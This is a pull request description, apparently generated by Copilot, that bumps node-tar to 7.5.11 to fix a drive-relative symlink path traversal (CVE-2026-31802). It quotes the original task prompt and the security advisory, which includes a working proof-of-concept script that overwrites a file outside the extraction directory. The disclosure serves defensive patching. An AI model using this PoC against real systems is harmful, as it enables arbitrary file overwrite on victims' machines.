fix: bump tar to 7.5.11 (CVE-2026-31802 / GHSA-9ppj-qmqm-q256)

[Copilot]

tar@7.5.10 allows symlink path traversal via drive-relative linkpath values (e.g. C:../../../target.txt), enabling arbitrary file overwrite outside the extraction root during tar.x().

Changes

• package.json: bumps the resolutions pin @yarnpkg/core/tar from 7.5.10 → 7.5.11
• yarn.lock: regenerated; both the pinned entry and the ^7.4.3 range now resolve to 7.5.11

Reachability

tar is not called directly in this codebase — it is a transitive dep of @yarnpkg/core. Exposure is indirect (through core's package extraction internals). High confidence the vulnerable code path is not triggered by this plugin itself, but the version pin is updated to eliminate the risk at the dependency level.

Original prompt

---

This section details the Dependabot vulnerability alert you should resolve

<alert_title>node-tar Symlink Path Traversal via Drive-Relative Linkpath</alert_title>
<alert_description>### Summary
tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

• CLI tools unpacking untrusted tarballs into a working directory
• build/update pipelines consuming third-party archives
• services that import user-supplied tar files</alert_description>

high
GHSA-9ppj-qmqm-q256, CVE-2026-31802
tar
npm
<vulnerable_versions>7.5.10</vulnerable_versions>
<patched_version>7.5.11</patched_version>
<manifest_path>yarn.lock</manifest_path>

https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256 https://nvd.nist.gov/vuln/detail/CVE-2026-31802 https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad https://github.com/advisories/GHSA-9ppj-qmqm-q256

<task_instructions>Resolve this alert by updating the affected package to a non-vulnerable version. Prefer the lowest non-vulnerable version (see the patched_version field above) over the latest to minimize breaking changes. Include a Reachability Assessment section in the PR description. Review the alert_description field to understand which APIs, features, or configurations are affected, then search the codebase for usage of those specific items. If the vulnerable code path is reachable, explain how (which files, APIs, or call sites use the affected functionality) and note that the codebase is actively exposed to this vulnerability. If the vulnerable code path is not reachable, explain why (e.g. the affected API is never called, the vulnerable configuration is not used) and note that the update is primarily to satisfy vulnerability scanners rather than to address an active risk. If the advisory is too vague to determine reachability (e.g. 'improper input validation' with no specific API named), state that reachability could not be determined and explain why. Include a confidence level in the reachability assessment (e.g. high confidence if the advisory names a specific API and you confirmed it is or is not called, low confidence if the usage is indirect and hard to trace). If no patched version is available, check the alert_description field for a Workarounds section — the advisory may describe configuration changes or usage patterns that mitigate the vulnerability without a version update. If a workaround is available, apply it and leave a code comment referencing the advisory identifier explaining it is a temporary mitigation. If neither a patch nor a workaround is available, explain in the PR descrip...

• Resolves MaintainX/yarn-plugin-unused-resolutions alert #24

---

This change is